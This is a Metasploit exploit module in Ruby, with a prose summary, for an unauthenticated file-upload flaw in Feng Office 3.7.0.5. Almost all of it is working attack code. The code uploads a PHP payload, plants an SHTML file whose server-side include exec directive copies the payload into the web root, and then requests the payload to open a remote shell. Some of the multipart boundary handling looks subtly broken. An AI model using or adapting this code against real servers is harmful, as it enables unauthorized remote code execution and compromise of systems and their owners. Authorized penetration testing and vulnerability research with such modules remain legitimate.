This Metasploit module exploits an arbitrary file upload vulnerability in Feng Office version 3.7.0.5. The application allows unauthenticated users to upload arbitrary files. There is no control of any session. All files are sent under /tmp directory. The .htaccess file under the /tmp directory prevents files with the php, php2, and php3 extensions. This exploit creates the php payload and moves the payload to the main directory via shtml. After moving the php payload to the main directory, the exploit executes payload and receives a shell.
fd4c717a95e850f0b81235df10b31b52##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'uri'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize
super(
'Name' => 'Feng Office 3.7.0.5 - (Unauthenticated) Remote Command Execution',
'Description' => %q{
This module exploits arbitrary file upload vulnerability in Feng Office 3.7.0.5.
Application allows the unauthenticated users to upload arbitrary files.
There is no control of any session. All files are sent under "/tmp" directory.
The ".htaccess" file under the "/tmp" directory prevents files with the "php,php2,php3.." extensions.
This exploit creates the php payload and moves the payload to the main directory via "shtml".
After moving the php payload to the main directory, Exploit executes payload and receives shell.
},
'Author' => [
'AkkuS <Azkan Mustafa AkkuA>', # Vulnerability Discovery, PoC & Msf Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://pentest.com.tr/exploits/Feng-Office-3-7-0-5-Unauthenticated-Remote-Command-Execution-Metasploit.html'],
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Feng Office <= 3.7.0.5', {}]
],
'DisclosureDate' => '28 Feb 2019',
'Privileged' => false,
'DefaultTarget' => 0
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Feng Office', '/']),
], self.class)
end
def exploit
##
# Upload Payload and directory discovery
##
boundary = Rex::Text.rand_text_alphanumeric(29)
data = "-----------------------------{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"upload\"; filename=\"akkus.php\"\r\n"
data << "Content-Type: binary/octet-stream\r\n\r\n"
data << payload.encoded
data << "\n\r\n-----------------------------{boundary}--\r\n"
data << "-----------------------------{boundary}--\r\n"
res = send_request_cgi({
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}'
},
'uri' => normalize_uri(target_uri, "/ck_upload_handler.php")
})
if not (res and res.body =~ /tmp\/([^\"]+)\',/)
print_error("Something went wrong. PHP File Upload failed.")
return nil
end
upfile = $1
print_status("PHP Payload: #{upfile}")
updir = res.body.scan(/<b>.+ck_upload_handler.php/).map{ |s| s.split("in ").last }.map{ |s| s.split("<b>").last }.map{ |s| s.split("ck_upload_handler.php").last }
dirc = updir[0]
print_status("Application Directory Path: #{dirc}")
##
# Upload shtml and run CMD command to move Payload to the main directory
##
data = "-----------------------------{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"upload\"; filename=\"akkus.shtml\"\r\n"
data << "Content-Type: text/html\r\n\r\n<html>\r\n<!--#exec cmd=\""
data << "cp #{dirc}tmp/#{upfile} #{dirc}"
data << "\" -->\r\n</html>\n\r\n"
data << "-----------------------------{boundary}--\r\n"
res = send_request_cgi({
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}'
},
'uri' => normalize_uri(target_uri, "/ck_upload_handler.php")
})
if not (res and res.body =~ /tmp\/([^\"]+)\',/)
print_error("Something went wrong. sHTML file Upload failed.")
return nil
else
print_good("Uploads successful completed.")
end
upfile2 = $1
print_status("SHTML Payload: #{upfile2}")
print_good("#{peer} - Retrieving remote command shell...")
##
# Running shtml for file migration
##
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri, "/tmp/#{upfile2}"),
})
##
# Running php for remote shell
##
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri, "/#{upfile}"),
})
end
end
##
# End
##